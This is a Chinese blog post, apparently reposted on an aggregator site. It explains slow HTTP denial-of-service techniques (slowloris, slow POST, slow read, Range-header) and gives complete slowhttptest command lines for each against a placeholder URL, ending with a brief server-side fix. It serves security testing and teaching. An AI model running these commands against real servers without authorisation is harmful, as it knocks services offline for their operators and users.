zoukankan      html  css  js  c++  java
  • 慢速dos攻击

    工具:slowhttptest

    攻击模式:

    slowloris:完整的http请求是以 n结尾,攻击时仅发送 ,少发送一个 ,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。

    slow http post:原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待。

    slow read attack:向服务器发送一个正常合法的read请求,请求一个很大的文件,但把TCP滑动窗口设置的很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:1.tcp窗口设置要比服务器的socket缓存小,这样发送才慢。    2.请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存,同时攻击端一直说自己收不到。


    slowhttptest安装

    kali直接安装 apt install slowhttptest

    实例:

    slowloris模式:

    slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u "url" -x 24 -p 3

    slow post模式:

    slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u "url" -x 10 -p 3

    slow read模式:

    slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u "url" -p 3

    Range Header test:在http请求的RANGE HEADER中包含大量字段,使得服务器在服务端将一个很小的文件分割成大量的更小的片段再压缩。分段压缩过程消耗大量的服务器资源,导致DOS。
    slowhttptest -R -u "url" -t HEAD -c 1000 -a 10 -b 3000 -r 500

    测试的时候,添加代理

    slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u url -p 5 -l 350 -e lhost:lport

    然后查看浏览器网络连接时间对比
    image
    image
    明显连接超时,异常访问时间。

    修复建议:

    对web服务器的HTTP头部传输的最大许可时间进行限制,修改成最大许可时间为20秒
    canvas








  • 相关阅读:
    高盛、沃尔玛 题做出来还挂了的吐槽
    amazon师兄debrief
    到所有人家距离之和最短的中点 296. Best Meeting Point
    问问题没人回答的情况怎么办终于有解了
    找名人 277. Find the Celebrity
    数组生存游戏 289. Game of Life
    547. Number of Provinces 省份数量
    428. Serialize and Deserialize Nary Tree 序列化、反序列化n叉树
    alias别名简介和使用
    面试官:线程池执行过程中遇到异常会发生什么,怎样处理? Vincent
  • 原文地址:https://www.cnblogs.com/sup3rman/p/12868918.html
Copyright © 2011-2022 走看看